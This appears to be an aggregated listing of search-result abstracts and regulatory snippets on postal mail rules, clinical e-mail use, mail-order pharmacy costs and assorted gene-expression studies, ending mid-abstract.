Our results strongly suggest that special collection tubes are necessary for RNA stabilization and they should be used for establishing new biobanks. We also show that the 50,000 samples collected in the MoBa biobank provide RNA of high quality and in sufficient amounts to allow gene expression analyses for studying the association of disease with altered patterns of gene expression. PMID:22988904

39 CFR 3020.11 - Initial Mail Classification Schedule.

Code of Federal Regulations, 2014 CFR

2014-07-01

... 39 Postal Service 1 2014-07-01 2014-07-01 false Initial Mail Classification Schedule. 3020.11 Section 3020.11 Postal Service POSTAL REGULATORY COMMISSION PERSONNEL PRODUCT LISTS Mail Classification Schedule § 3020.11 Initial Mail Classification Schedule. The initial Mail Classification Schedule shall...

77 FR 61307 - New Postal Product

Federal Register 2010, 2011, 2012, 2013, 2014

2012-10-09

...: Transfer Mail Processing Cost Model for Machinable and Irregular Standard Mail Parcels to the Mail Processing Cost Model for Parcel Select/Parcel Return Service. The Postal Service proposes to move the machinable and irregular cost worksheets contained in the Standard Mail parcel mail processing cost model to...

Cyberdermatoethics I: ethical, legal, technologic, and clinical aspects of patient-physician e-mail.

PubMed

Luo, John; Logan, Christopher; Long, Thomas P; Bercovitch, Lionel

2009-01-01

As Internet access has become ubiquitous, electronic mail (e-mail) is becoming more widely used as a means of communication between patient and dermatologist. Dealing with the ethical, legal, and clinical consequences has lagged behind the technology. Privacy of e-mail cannot exist without security, and as a foundation for understanding e-mail security, the elements of e-mail technology are reviewed. One of the greatest risks of e-mail is compromise of privacy. Although self-documenting and convenient, e-mail lacks the emotional cues of face-to-face encounters, is asynchronous and not always read in timely fashion, and is not suitable for certain clinical concerns such as urgent matters and cancer diagnoses. Legal issues relating to federal privacy regulations, ethical issues such as autonomy and justice, and guidelines for the use of e-mail in clinical practice are reviewed. Case scenarios are used to present the pitfalls in clinical e-mail encounters, including establishment of the doctor-patient relationship, diagnosis and treatment over the Internet, and curbside consultations.

Usage of insecure E-mail services among researchers with different scientific background.

PubMed

Solić, Kresimir; Grgić, Krešimir; Ilakovac, Vesna; Zagar, Drago

2011-08-01

Free web‑based e-mail services are considered to have more security flaws than institutional ones, but they are frequently used among scientific researchers for professional communication. The aim of this study was to analyze frequency of usage of the insecure free e-mail services for professional communication among biomedical, economical and technical researchers, who published papers in one of three different journals: Croatian Medical Journal, Automatika and Economic Research. Contact details of the authors who provided their e‑mail address from the papers published in those three journals during one year period were collected. These e‑mail addresses were collected from the electronic archive of the journals in question. The domains of all e‑mail addresses were assessed and contacts were categorized into three groups according to the following types: world-wide known free web‑based e‑mail services, national Internet Service Provider (ISP) e-mail services, and institutional or corporate e-mail addresses. The proportion of authors using free web-based e-mail services, the least secure group type, was highest among biomedical researchers (17.8%) while every e‑mail address collected from the technical journal belonged to the secured institutional e‑mail group type. It seems that all researchers from the technical scientific field and most of the researchers from the economical field value good security practice and use more secure systems for professional communication. High percentage of the biomedical researchers who use insecure e‑mail services may mean that they need to be warned of the possible security disadvantages of those kinds of e‑mail addresses.

75 FR 34017 - International Mail Manual; Incorporation by Reference

Federal Register 2010, 2011, 2012, 2013, 2014

2010-06-16

... POSTAL SERVICE 39 CFR Part 20 International Mail Manual; Incorporation by Reference AGENCY: Postal... Mailing Standards of the United States Postal Service, International Mail Manual (IMM[supreg]) and its..., (202) 268-3789. SUPPLEMENTARY INFORMATION: Issue 36 of the International Mail Manual was issued on May...

Electronic Mail for Personal Computers: Development Issues.

ERIC Educational Resources Information Center

Tomer, Christinger

1994-01-01

Examines competing, commercially developed electronic mail programs and how these technologies will affect the functionality and quality of electronic mail. How new standards for client-server mail systems are likely to enhance messaging capabilities and the use of electronic mail for information retrieval are considered. (Contains eight…

75 FR 80068 - Renewal of Approved Information Collection

Federal Register 2010, 2011, 2012, 2013, 2014

2010-12-21

...-0168 in your correspondence. Before including your address, phone number, e-mail address, or other..., or by electronic mail at [email protected] . Please provide a copy of your comments to the BLM via mail, fax, or electronic mail. Mail: Bureau Information Collection Clearance Officer (WO-630...

A versatile and efficient high-throughput cloning tool for structural biology.

PubMed

Geertsma, Eric R; Dutzler, Raimund

2011-04-19

Methods for the cloning of large numbers of open reading frames into expression vectors are of critical importance for challenging structural biology projects. Here we describe a system termed fragment exchange (FX) cloning that facilitates the high-throughput generation of expression constructs. The method is based on a class IIS restriction enzyme and negative selection markers. FX cloning combines attractive features of established recombination- and ligation-independent cloning methods: It allows the straightforward transfer of an open reading frame into a variety of expression vectors and is highly efficient and very economic in its use. In addition, FX cloning avoids the common but undesirable feature of significantly extending target open reading frames with cloning related sequences, as it leaves a minimal seam of only a single extra amino acid to either side of the protein. The method has proven to be very robust and suitable for all common pro- and eukaryotic expression systems. It considerably speeds up the generation of expression constructs compared to traditional methods and thus facilitates a broader expression screening.

Protein expression of preferred human codon-optimized Gaussia luciferase genes with an artificial open-reading frame in mammalian and bacterial cells.

PubMed

Inouye, Satoshi; Suzuki, Takahiro

2016-12-01

The protein expressions of three preferred human codon-optimized Gaussia luciferase genes (pGLuc, EpGLuc, and KpGLuc) were characterized in mammalian and bacterial cells by comparing them with those of wild-type Gaussia luciferase gene (wGLuc) and human codon-optimized Gaussia luciferase gene (hGLuc). Two synthetic genes of EpGLuc and KpGLuc containing the complete preferred human codons have an artificial open-reading frame; however, they had the similar protein expression levels to those of pGLuc and hGLuc in mammalian cells. In bacterial cells, the protein expressions of pGLuc, EpGLuc, and KpGLuc with approximately 65% GC content were the same and showed approximately 60% activities of wGLuc and hGLuc. The artificial open-reading frame in EpGLuc and KpGLuc did not affect the protein expression in mammalian and bacterial cells. Copyright © 2016 Elsevier Inc. All rights reserved.

Getting physicians to open the survey: little evidence that an envelope teaser increases response rates.

PubMed

Ziegenfuss, Jeanette Y; Burmeister, Kelly; James, Katherine M; Haas, Lindsey; Tilburt, Jon C; Beebe, Timothy J

2012-03-31

Physician surveys are an important tool to assess attitudes, beliefs and self-reported behaviors of this policy relevant group. In order for a physician to respond to a mailed survey, they must first open the envelope. While there is some evidence that package elements can impact physician response rates, the impact of an envelope teaser is unknown. Here we assess this by testing the impact of adding a brightly colored "$25 incentive" sticker to the outside of an envelope on response rates and nonresponse bias in a survey of physicians. In the second mailing of a survey assessing physicians' moral beliefs and views on controversial health care topics, initial nonrespondents were randomly assigned to receive a survey in an envelope with a colored "$25 incentive" sticker (teaser group) or an envelope without a sticker (control group). Response rates were compared between the teaser and control groups overall and by age, gender, region of the United States, specialty and years in practice. Nonresponse bias was assessed by comparing the demographic composition of the respondents to the nonrespondents in the experimental and control condition. No significant differences in response rates were observed between the experimental and control conditions overall (p = 0.38) or after stratifying by age, gender, region, or practice type. Within the teaser condition, there was some variation in response rate by years since graduation. There was no independent effect of the teaser on response when simultaneously controlling for demographic characteristics (OR = 0.875, p = 0.4112). Neither response rates nor nonresponse bias were impacted by the use of an envelope teaser in a survey of physicians in the United States.

Crossing the Threshold of Rocket Mail: E-Mail Use by U.S. Humanities Faculty.

ERIC Educational Resources Information Center

Bridges, Anne E.; Clement, Russell T.

1997-01-01

Discusses the use of e-mail by humanities faculty based on an e-mail survey of faculty at Brigham Young University (Utah) and the University of Tennessee at Knoxville. Results indicate that humanities faculty are significantly heavier e-mail users than previously reported. (LRW)

The Traveler's Guide to E-mail Access.

ERIC Educational Resources Information Center

Clyde, Anne

1999-01-01

Presents options that travelers can use to keep in e-mail contact. Discusses equipment/access issues related to traveling with a laptop; Internet cafes; free e-mail services; accessing home mail via a Web page; and new options e-mail access for travelers. Includes Internet resources on Internet access providers. (AEF)

76 FR 48722 - Domestic Mail Manual; Incorporation by Reference

Federal Register 2010, 2011, 2012, 2013, 2014

2011-08-09

... POSTAL SERVICE 39 CFR PART 111 Domestic Mail Manual; Incorporation by Reference AGENCY: Postal... 5, 2011, of the Mailing Standards of the United States Postal Service, Domestic Mail Manual (DMM... the Domestic Mail Manual (DMM) was issued on July 5, 2011. This Issue of the DMM contains all Postal...

39 CFR 20.3 - Availability of the International Mail Manual.

Code of Federal Regulations, 2011 CFR

2011-07-01

... 39 Postal Service 1 2011-07-01 2011-07-01 false Availability of the International Mail Manual. 20.3 Section 20.3 Postal Service UNITED STATES POSTAL SERVICE INTERNATIONAL MAIL INTERNATIONAL POSTAL SERVICE § 20.3 Availability of the International Mail Manual. Copies of the International Mail Manual may...

39 CFR 20.3 - Availability of the International Mail Manual.

Code of Federal Regulations, 2010 CFR

2010-07-01

... 39 Postal Service 1 2010-07-01 2010-07-01 false Availability of the International Mail Manual. 20.3 Section 20.3 Postal Service UNITED STATES POSTAL SERVICE INTERNATIONAL MAIL INTERNATIONAL POSTAL SERVICE § 20.3 Availability of the International Mail Manual. Copies of the International Mail Manual may...

77 FR 42016 - Product Change-Every Door Direct Mail-Retail

Federal Register 2010, 2011, 2012, 2013, 2014

2012-07-17

... POSTAL SERVICE Product Change--Every Door Direct Mail--Retail AGENCY: Postal Service\\TM\\. ACTION... Regulatory Commission to add Every Door Direct Mail--Retail to the market-dominant product list within the... Request of the United States Postal Service to Add Every Door Direct Mail--Retail to the Mail...

E-mail, decisional styles, and rest breaks.

PubMed

Baker, James R; Phillips, James G

2007-10-01

E-mail is a common but problematic work application. A scale was created to measure tendencies to use e-mail to take breaks (e-breaking); and self-esteem and decisional style (vigilance, procrastination, buck-passing, hypervigilance) were used to predict the self-reported and actual e-mail behaviors of 133 participants (students and marketing employees). Individuals who were low in defensive avoidance (buck-passing) engaged in more e-mailing per week, both in time spent on e-mail and message volume. E-breakers were more likely to engage in behavioral procrastination and spent more time on personal e-mail.

Physicians' Use of and Attitudes Toward Electronic Mail for Patient Communication

PubMed Central

Gaster, Barak; Knight, Christopher L; DeWitt, Dawn E; Sheffield, John V L; Assefi, Nassim P; Buchwald, Dedra

2003-01-01

To assess physicians' use of and attitudes toward electronic mail (e-mail) for patient communication, we conducted a mail-in survey of physicians who see patients in outpatient clinics affiliated with a large academic medical center (N = 283). Seventy-two percent of physicians reported using e-mail to communicate with patients, averaging 7.7 e-mails from patients per month. The lowest level of use was by community-based primary care physicians (odds ratio, 0.22; 95% confidence interval, 0.08 to 0.59). Those physicians who reported using e-mail with patients reported high satisfaction with its use. Although physicians were concerned about the confidentiality of e-mail, few discussed this issue with patients. PMID:12795738

Is it too early to move to full electronic PROM data collection?: A randomized controlled trial comparing PROM's after hallux valgus captured by e-mail, traditional mail and telephone.

PubMed

Palmen, Leonieke N; Schrier, Joost C M; Scholten, Ruben; Jansen, Justus H W; Koëter, Sander

2016-03-01

Patient reported outcome measures (PROM's) after hallux valgus surgery are used to rate the effectiveness as perceived by the patient. The interpretability of these PROM's is highly dependent on participation rate. Data capture method may be an important factor contributing to the response rate. We investigated the effect on response rate of traditional paper mail, telephone and e-mail PROM's after hallux valgus surgery. All consecutive patients operated between January and September 2013, were identified. Included patients were randomized by envelope in three groups: traditional pen and paper mail, e-mail and telephone. They were asked to fill in a FFI and EQ-5D. Two weeks later non-responders were sent a reminder. Of the 73 included patients, 25 were approached by mail, 24 by e-mail and 24 patients by telephone. The response rate on traditional mail was highest (88%), while response on e-mail was lowest (33%). Response rate on telephone was also high (79%). Response rate on traditional mail and telephone was significantly higher (p<0.001) than response on e-mail. Though electronic data collection has enormous potential, this study shows that e-mail yields unacceptable low response rates. It is too early to replace traditional pen-and-paper PROM's by electronic questionnaires. Copyright © 2015 European Foot and Ankle Society. Published by Elsevier Ltd. All rights reserved.

Transcriptome profiling of fully open flowers in a frost-tolerant almond genotype in response to freezing stress.

PubMed

Hosseinpour, Batool; Sepahvand, Sadegh; Kamali Aliabad, Kazem; Bakhtiarizadeh, MohammadReza; Imani, Ali; Assareh, Reza; Salami, Seyed Alireza

2018-02-01

Spring frost is a major limiting abiotic stress for the cultivation of almonds [Prunus dulcis (Mill.)] in Mediterranean areas or the Middle East. Spring frost, in particular, damages almond fully open flowers, resulting to significant reduction in yield. Little is known about the genetic factors expressed after frost stress in Prunus spp. as well as in almond fully open flowers. Here, we provide the molecular signature of pistils of fully open flowers from a frost-tolerant almond genotype. The level of frost tolerance in this genotype was determined for all three flowering stages and was confirmed by comparing it to two other cultivars using several physiological analyses. Afterwards, comprehensive expression profiling of genes expressed in fully open flowers was performed after being exposed to frost temperatures (during post-thaw period). Clean reads, 27,104,070 and 32,730,772, were obtained for non-frost-treated and frost-treated (FT) libraries, respectively. A total of 62.24 Mb was assembled, generating 50,896 unigenes and 66,906 transcripts. Therefore, 863 upregulated genes and 555 downregulated genes were identified in the FT library. Functional annotation showed that most of the upregulated genes were related to various biological processes involved in responding to abiotic stress. For the first time, a highly expressed cold-shock protein was identified in the reproductive organ of fruit trees. The expression of six genes was validated by RT-PCR. As the first comprehensive analysis of open flowers in a frost-tolerant almond genotype, this study represents a key step toward the molecular breeding of fruit tree species for frost tolerance.

OpenFresco | OpenFresco

Science.gov Websites

Skip to content HOME NEWS USERS OpenFrescoExpress OpenFresco Examples & Tools Feedback staff and research students learning about hybrid simulation and starting to use this experimental the Pacific Earthquake Engineering Research Center (PEER) and others. Search Search for: Search Menu

Mimicking herpes simplex virus 1 and herpes simplex virus 2 mucosal behavior in a well-characterized human genital organ culture.

PubMed

Steukers, Lennert; Weyers, Steven; Yang, Xiaoyun; Vandekerckhove, Annelies P; Glorieux, Sarah; Cornelissen, Maria; Van den Broeck, Wim; Temmerman, Marleen; Nauwynck, Hans J

2014-07-15

We developed and morphologically characterized a human genital mucosa explant model (endocervix and ectocervix/vagina) to mimic genital herpes infections caused by herpes simplex virus types 1 (HSV-1) and 2 (HSV-2). Subsequent analysis of HSV entry receptor expression throughout the menstrual cycle in genital tissues was performed, and the evolution of HSV-1/-2 mucosal spread over time was assessed. Nectin-1 and -2 were expressed in all tissues during the entire menstrual cycle. Herpesvirus entry mediator expression was limited mainly to some connective tissue cells. Both HSV-1 and HSV-2 exhibited a plaque-wise mucosal spread across the basement membrane and induced prominent epithelial syncytia. © The Author 2014. Published by Oxford University Press on behalf of the Infectious Diseases Society of America. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

A comparison of mail-service and retail community pharmacy claims in 5 prescription benefit plans.

PubMed

Clark, Bartholomew E; Siracuse, Mark V; Garis, Robert I

2009-06-01

Little evidence has been presented to date that would either support or refute a widely held belief that mail-service pharmacy utilization routinely produces savings in drug benefit costs for prescription benefit plan sponsors. To present a comparative analysis of mail-service and community pharmacy service drug benefit costs for 5 employer-sponsored prescription drug benefit plans. A cross-sectional comparison of 17,725 matched transaction pairs of community and mail-service prescriptions from a data set comprised 484,987 prescription claims from a convenience sample of 5 employer-sponsored prescription benefit plans. Differences between community pharmacy and mail-service prescription transactions were examined at the per-unit level of analysis for drug ingredient costs, dispensing fees, co-payments, dollar amounts paid by plan sponsor, and total dollar amounts. Overall, the total cost of prescriptions was lower through mail-service pharmacies for all 5 plans studied. Two of 5 plans had co-payment incentives to use mail-service, yet plan sponsors paid more for mail-service drugs; respectively, 4.5% and 8.3% more overall, 25.0% and 21.4% more for generic medications; and 3.0% and 7.0% more for brand name medications. Mail-service co-payments were 48.9% and 51.7% lower. Mail-service utilization rates were 15.2% and 31.5% of the total number of prescriptions dispensed in the period studied. Three of 5 plans had no co-payment incentive to use mail-service and paid less for mail-service drugs; respectively, 18.7%, 6.6%, and 15.7% less overall; 17.4%, 15.6%, and 7.9% less for generic medications; and 18.8%, 5.2%, and 16.6% less for brand name medications. Mail-service co-payments were 10.5% more, 5.2% less, and 1.8% more than community pharmacy co-payments, respectively. Mail-service utilization rates were 0.8%, 1.2%, and 4.4%. Co-payment incentives to use mail-service pharmacies instead of community pharmacies were associated with higher mail-service utilization rates and with higher costs to plan sponsors. Absence of a co-payment incentive to use mail-service pharmacies was associated with lower mail-service utilization rates and with lower costs to plan sponsors.

Evaluation of maternal serum alpha-foetoprotein assay using dry blood spot samples.

PubMed

González, C; Guerrero, J M; Elorza, F L; Molinero, P; Goberna, R

1988-02-01

The quantification of alpha-foetoprotein in dry blood spots from pregnant women was evaluated, using a conventional radioimmunoassay (RIA) with a monospecific antibody. The stability of alpha-foetoprotein in dry blood spots on filter paper was evaluated with respect to mailing, distances travelled, and the existence of high summer temperatures in our region. The results obtained show that the blood alpha-foetoprotein is stable on dry filter spots sent by mail and is stable for up to four weeks at 4, 25 and 37 degrees C. The analytical method used has a minimal detectable concentration of 10 +/- 1.9 international kilo-units/l. Both inter- and intra-assay variabilities are smaller than 10% and this method can provide results comparable with those of conventional serum assays. Results from dry blood spots and serum samples (the latter analysed by both RIA and two-site enzyme immunoassay) exhibited a good correlation (r = 0.98 and r = 0.97, p less than 0.001). The design of the assay and the nature of the samples make this method suitable for a screening programmes for the antenatal detection of open neural tube defects.

Aldo-keto Reductase Family 1 B10 as a Novel Target for Breast Cancer Treatment

DTIC Science & Technology

2010-08-01

overexpressed in tested human breast cancer tissues and mediates acetyl-CoA carboxylase-α ( ACCA ) stability, affecting fatty acid de novo synthesis and...9703; Fax. 217-545-3227; E-mail: dcao@siumed.edu Running title: AKR1B10 as a new risk factor for breast cancer Abbreviations used: ACCA , acetyl...The effect of AKR1B10 expression in cancer tissue on patient survival was evaluated with Kaplan - Meier plots, and results showed that AKR1B10

Functional Characterization of CENP-A Post-Translational Modifications in Chromosome Segregation

DTIC Science & Technology

2014-07-01

methods: In vitro methylation assays: 6XHis tagged Human NRMT1 (Gift from Ian Maccara) was purified from E - coli and used for the methylation assays...expression vector in BL21 E . coli and purified on Ni-NTA beads and then cleaved using Factor X (Sigma-Aldrich). The cleaved proteins were then negatively...AUTHOR(S) 5d. PROJECT NUMBER Sathyan Kizhakke Mattada 5e. TASK NUMBER E -Mail: sk8fz@virginia.edu 5f. WORK UNIT NUMBER 7. PERFORMING

Understanding Selective Downregulation of c-Myc Expression through Inhibition of General Transcription Regulators in Multiple Myeloma

DTIC Science & Technology

2014-06-01

AUTHOR(S) 5d. PROJECT NUMBER Dr. Charles Lin 5e. TASK NUMBER E-Mail: Charles_lin@dfci.harvard.edu 5f. WORK UNIT NUMBER 7...landscape of Multiple Myeloma (MM), this project has endeavored to provide an explanatory mechanism for how treatment with inhibitors of chromatin...category: 1472-1), BRD4 (Epitomics, category: 5716-1) or b-actin ( Sigma , clone AC-15, A5441). Data Analysis All ChIP-seq data sets were aligned using

Perceived Barriers to and Facilitators of Patient-to-Provider E-Mail in the Management of Diabetes Care.

PubMed

Popeski, Naomi; McKeen, Caitlin; Khokhar, Bushra; Edwards, Alun; Ghali, William A; Sargious, Peter; White, Debbie; Hebert, Marilynne; Rabi, Doreen M

2015-12-01

1) to describe current utilization of e-mail in the clinical care of patients with diabetes; and 2) to identify barriers to and facilitators of the adoption of e-mail in diabetes care. Participants included diabetes care providers, including 9 physicians and 7 allied health professionals (AHPs). Participation involved, first, completing a self-administered survey to evaluate the use of e-mail within diabetes-related clinical practice. Second, focus group discussions were conducted with diabetes care providers using semistructured interviews to collect data about their perceptions of using e-mail to exchange information with patients diagnosed with diabetes. Patients' perspectives on the use of e-communication with their care providers was also proposed on the basis of the discussions. Significant differences were found between physicians and AHPs concerning questions that were related to the use of e-mail and the amount of time spent using e-mail to communicate to patients. There was perceived function and value to the use of e-mail among AHPs, while few physicians used e-mail routinely and were uncertain about its potential in improving care. Five themes, including barriers, benefits, risks, safeguards and compensation, were developed from the focus group interviews. Currently, most of the physicians surveyed do not e-mail patients directly; however, AHPs frequently use e-mail in diabetes care and find this tool valuable. Variation in practices regarding clinical e-mail across care disciplines suggest that appropriate policy with guidelines for e-mail and e-communication within the health care system may improve uptake of clinical e-mail and perhaps, by extension, improve efficiency and access in diabetes care. Copyright © 2015. Published by Elsevier Inc.

Protective response in renal transplantation: no clinical or molecular differences between open and laparoscopic donor nephrectomy

PubMed Central

Machado, Christiano; Malheiros, Denise Maria Avancini Costa; Adamy, Ari; Santos, Luiz Sergio; da Silva Filho, Agenor Ferreira; Nahas, William Carlos; Lemos, Francine Brambate Carvalhinho

2013-01-01

OBJECTIVE: Prolonged warm ischemia time and increased intra-abdominal pressure caused by pneumoperitoneum during a laparoscopic donor nephrectomy could enhance renal ischemia reperfusion injury. For this reason, laparoscopic donor nephrectomy may be associated with a slower graft function recovery. However, an adequate protective response may balance the ischemia reperfusion damage. This study investigated whether laparoscopic donor nephrectomy modified the protective response of renal tissue during kidney transplantation. METHODS: Patients undergoing live renal transplantation were prospectively analyzed and divided into two groups based on the donor nephrectomy approach used: 1) the control group, recipients of open donor nephrectomy (n = 29), and 2) the study group, recipients of laparoscopic donor nephrectomy (n = 26). Graft biopsies were obtained at two time points: T-1 = after warm ischemia time and T+1 = 45 minutes after kidney reperfusion. The samples were analyzed by immunohistochemistry for the Bcl-2 and HO-1 proteins and by real-time polymerase chain reaction for the mRNA expression of Bcl-2, HO-1 and vascular endothelial growth factor. RESULTS: The area under the curve for creatinine and delayed graft function were similar in both the laparoscopic and open groups. There was no difference in the protective gene expression between the laparoscopic donor nephrectomy and open donor nephrectomy groups. The protein expression of HO-1 and Bcl-2 were similar between the open and laparoscopic groups. Furthermore, the gene expression of B-cell lymphoma 2 correlated with the warm ischemia time in the open group (p = 0.047) and that of vascular endothelial growth factor with the area under the curve for creatinine in the laparoscopic group (p = 0.01). CONCLUSION: The postoperative renal function and protective factor expression were similar between laparoscopic donor nephrectomy and open donor nephrectomy. These findings ensure laparoscopic donor nephrectomy utilization in renal transplantation. PMID:23778338

Brain Activity with Reading Sentences and Emoticons

NASA Astrophysics Data System (ADS)

Yuasa, Masahide; Saito, Keiichi; Mukawa, Naoki

In this paper, we describe a person's brain activity when he/she sees an emoticon at the end of a sentence. An emoticon consists of some characters that resemble the human face and expresses a sender's emotion. With the help of a computer network, we use e-mail, messenger, avatars and so on, in order to convey what we wish to, to a receiver. Moreover, we send an emotional expression by using an emoticon at the end of a sentence. In this research, we investigate the effect of an emoticon as nonverbal information, using an fMRI study. The experimental results show that the right and left inferior frontal gyrus were activated and we detect a sentence with an emoticon as the verbal and nonverval information.

75 FR 70132 - New Incentive Programs and Other Changes for Domestic Mailing Services

Federal Register 2010, 2011, 2012, 2013, 2014

2010-11-17

... pieces that are part of full-service Intelligent Mail [supreg] automation mailings entered at PostalOne... conditions. Reply pieces must bear an Intelligent Mail barcode as of May 1, 2011. This new program provides... time of mailing, mailers pay the applicable 2-ounce price for these pieces. All commercial (presorted...

39 CFR 233.2 - Circulars and rewards.

Code of Federal Regulations, 2010 CFR

2010-07-01

... robbery. (ii) Mailing or causing to be mailed bombs, explosives, poison, weapons of mass destruction, or.... Bombs or Explosives, $100,000. Mailing or causing to be mailed any bombs or explosives which may kill or harm another, or injure the mails or other property, or the placing of any bomb or explosive in a...

41 CFR 102-192.130 - What are your general responsibilities as an agency mail manager?

Code of Federal Regulations, 2012 CFR

2012-01-01

... as a Contracting Officer's Technical Representative), other agency mail managers, and the GSA Office... responsibilities as an agency mail manager? 102-192.130 Section 102-192.130 Public Contracts and Property... ADMINISTRATIVE PROGRAMS 192-MAIL MANAGEMENT Agency Mail Manager Requirements § 102-192.130 What are your general...

41 CFR 102-192.130 - What are your general responsibilities as an agency mail manager?

Code of Federal Regulations, 2013 CFR

2013-07-01

... as a Contracting Officer's Technical Representative), other agency mail managers, and the GSA Office... responsibilities as an agency mail manager? 102-192.130 Section 102-192.130 Public Contracts and Property... ADMINISTRATIVE PROGRAMS 192-MAIL MANAGEMENT Agency Mail Manager Requirements § 102-192.130 What are your general...

41 CFR 102-192.130 - What are your general responsibilities as an agency mail manager?

Code of Federal Regulations, 2011 CFR

2011-01-01

... as a Contracting Officer's Technical Representative), other agency mail managers, and the GSA Office... responsibilities as an agency mail manager? 102-192.130 Section 102-192.130 Public Contracts and Property... ADMINISTRATIVE PROGRAMS 192-MAIL MANAGEMENT Agency Mail Manager Requirements § 102-192.130 What are your general...

41 CFR 102-192.130 - What are your general responsibilities as an agency mail manager?

Code of Federal Regulations, 2014 CFR

2014-01-01

... as a Contracting Officer's Technical Representative), other agency mail managers, and the GSA Office... responsibilities as an agency mail manager? 102-192.130 Section 102-192.130 Public Contracts and Property... ADMINISTRATIVE PROGRAMS 192-MAIL MANAGEMENT Agency Mail Manager Requirements § 102-192.130 What are your general...

76 FR 1376 - Physical Protection of Irradiated Reactor Fuel in Transit Extension of Comment Period

Federal Register 2010, 2011, 2012, 2013, 2014

2011-01-10

... dockets to Carol Gallagher, telephone: 301-492- 3668, e-mail: [email protected] . Mail comments to... Adjudications Staff. E-mail comments to: [email protected] . If you do not receive a reply e-mail..., e-mail: [email protected] . SUPPLEMENTARY INFORMATION: Submitting Comments and Accessing...

49 CFR 209.7 - Subpoenas; witness fees.

Code of Federal Regulations, 2010 CFR

2010-10-01

... and is not less than eighteen (18) years of age, or by certified or registered mail. (d) Service of a... suitable age and discretion then residing therein; (iv) Mailing it by registered or certified mail to him..., director, or agent in charge of any office of the person; (ii) Mailing it by registered or certified mail...

TLM-Quant: An Open-Source Pipeline for Visualization and Quantification of Gene Expression Heterogeneity in Growing Microbial Cells

PubMed Central

Piersma, Sjouke; Denham, Emma L.; Drulhe, Samuel; Tonk, Rudi H. J.; Schwikowski, Benno; van Dijl, Jan Maarten

2013-01-01

Gene expression heterogeneity is a key driver for microbial adaptation to fluctuating environmental conditions, cell differentiation and the evolution of species. This phenomenon has therefore enormous implications, not only for life in general, but also for biotechnological applications where unwanted subpopulations of non-producing cells can emerge in large-scale fermentations. Only time-lapse fluorescence microscopy allows real-time measurements of gene expression heterogeneity. A major limitation in the analysis of time-lapse microscopy data is the lack of fast, cost-effective, open, simple and adaptable protocols. Here we describe TLM-Quant, a semi-automatic pipeline for the analysis of time-lapse fluorescence microscopy data that enables the user to visualize and quantify gene expression heterogeneity. Importantly, our pipeline builds on the open-source packages ImageJ and R. To validate TLM-Quant, we selected three possible scenarios, namely homogeneous expression, highly ‘noisy’ heterogeneous expression, and bistable heterogeneous expression in the Gram-positive bacterium Bacillus subtilis. This bacterium is both a paradigm for systems-level studies on gene expression and a highly appreciated biotechnological ‘cell factory’. We conclude that the temporal resolution of such analyses with TLM-Quant is only limited by the numbers of recorded images. PMID:23874729

Value-Expressive Volunteer Motivation and Volunteering by Older Adults: Relationships With Religiosity and Spirituality.

PubMed

Okun, Morris A; O'Rourke, Holly P; Keller, Brian; Johnson, Kathryn A; Enders, Craig

2015-11-01

This study investigates the interplay among religiosity, spirituality, value-expressive volunteer motivation, and volunteering. We examined religiosity and spirituality as predictors of value-expressive volunteer motivation and volunteering and whether religiosity moderated the relations between (a) spirituality and value-expressive volunteer motivation and (b) value-expressive volunteer motivation and volunteering. After applying multiple imputation procedures to data from the Wisconsin Longitudinal Study among participants 64-67 years old who survived beyond 2004 (N = 8,148), we carried out regression analyses to predict value-expressive volunteer motivation and volunteering from religiosity and spirituality controlling for demographic variables, physical, emotional, and cognitive health, health risk behaviors, and personality traits. Both religiosity and spirituality were significant (p < .001) positive predictors of value-expressive volunteer motivation. Value-expressive volunteer motivation and religiosity were significant (p < .001) positive predictors, whereas spirituality was a significant (p < .001) negative predictor, of volunteering. Religiosity amplified the relation between value-expressive volunteer motivation and volunteering (p < .05) but did not moderate the relation between spirituality and value-expressive volunteer motivation (p > .45). Religiosity may provide the way, and value-expressive volunteer motivation the will, to volunteer. The implications of our findings for the forecasted shortage of older volunteers are discussed. © The Author 2014. Published by Oxford University Press on behalf of The Gerontological Society of America. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

A comparison of costs of Medicare Part D prescriptions dispensed at retail and mail order pharmacies.

PubMed

Carroll, Norman V

2014-09-01

Plan sponsors encourage the use of mail order pharmacies because they believe mail order dispensing will lower their prescription drug costs. Health plans and pharmacy benefit management companies (PBMs) usually offer patients substantially lower copayments to incentivize them to use mail order pharmacies. A number of health plans and PBMs now require patients to use these pharmacies for maintenance prescriptions. To (a) compare costs for prescriptions dispensed through mail order and retail pharmacies in Medicare Part D plans and (b) examine whether mail order or retail pharmacies provided lower all third-party costs for each of the top 300 products; the relationship between whether a product was available generically and whether mail order or retail pharmacies provided lower prices; and the generic substitution rates at mail order and retail pharmacies. The sample for this study consisted of 2010 Medicare Part D prescription drug data for the 300 products with the highest sales at mail order pharmacies. The prescriptions included in the study were dispensed in the initial coverage limit phase of Part D by retail or mail order pharmacies to patients who were insured by Part D for 12 months in 2010, who received no Part D subsidies, and who were alive for the full year in 2010. Mean-per-unit costs were calculated for both mail order and retail prescriptions for each of the top 300 products. Products were defined by Medi-Span Generic Product Indentifier. Summary statistics for the overall costs of mail order and retail prescriptions were calculated as the weighted mean-per-unit costs of the top 300 products. The weighting factor for both mail order and retail prescriptions included both the mail order quantity dispensed per prescription and the number of prescriptions dispensed. Weighting both mail and retail prescriptions by mail order quantities dispensed and numbers of prescriptions ensured that the results reflected actual cost differences rather than differences in the mix or quantities of prescriptions dispensed. These calculations were made for total costs, costs covered by the Medicare Standard Benefit (MSB), costs paid by all third-party payers (including Medicare), and patient costs. The top 300 products accounted for 84.8% of mail order costs. Among all prescriptions in the sample--both mail order and retail--mail order prescriptions accounted for 7.8% of prescriptions dispensed and 14.1% of total spending. Comparison of 90-day or greater supplies indicated that costs per unit of medication for retail pharmacies were lower for total costs ($0.94 for retail pharmacies vs. $0.96 for mail order pharmacies), MSB costs ($0.59 for retail pharmacies vs. $0.63 for mail order pharmacies), and all third-party payer costs ($0.64 for retail pharmacies vs. $0.72 for mail order pharmacies), but higher for patient costs ($0.31 for retail pharmacies vs. $0.24 for mail order pharmacies). Retail pharmacies had lower all third-party payer costs for 244 products, while mail pharmacies had lower costs for 56 products. Retail pharmacies were more likely to have lower costs for products that included generic alternatives, while mail order pharmacies were more likely to have lower costs for products that included only branded drugs. Generic substitution rates were 91.4% for retail pharmacies versus 88.8% for mail order pharmacies. Results from secondary analyses that compared all prescriptions which met the inclusion criteria, regardless of days supply, and that compared exactly 90-day supplies, yielded similar results. Third-party payers, including Medicare, paid more for 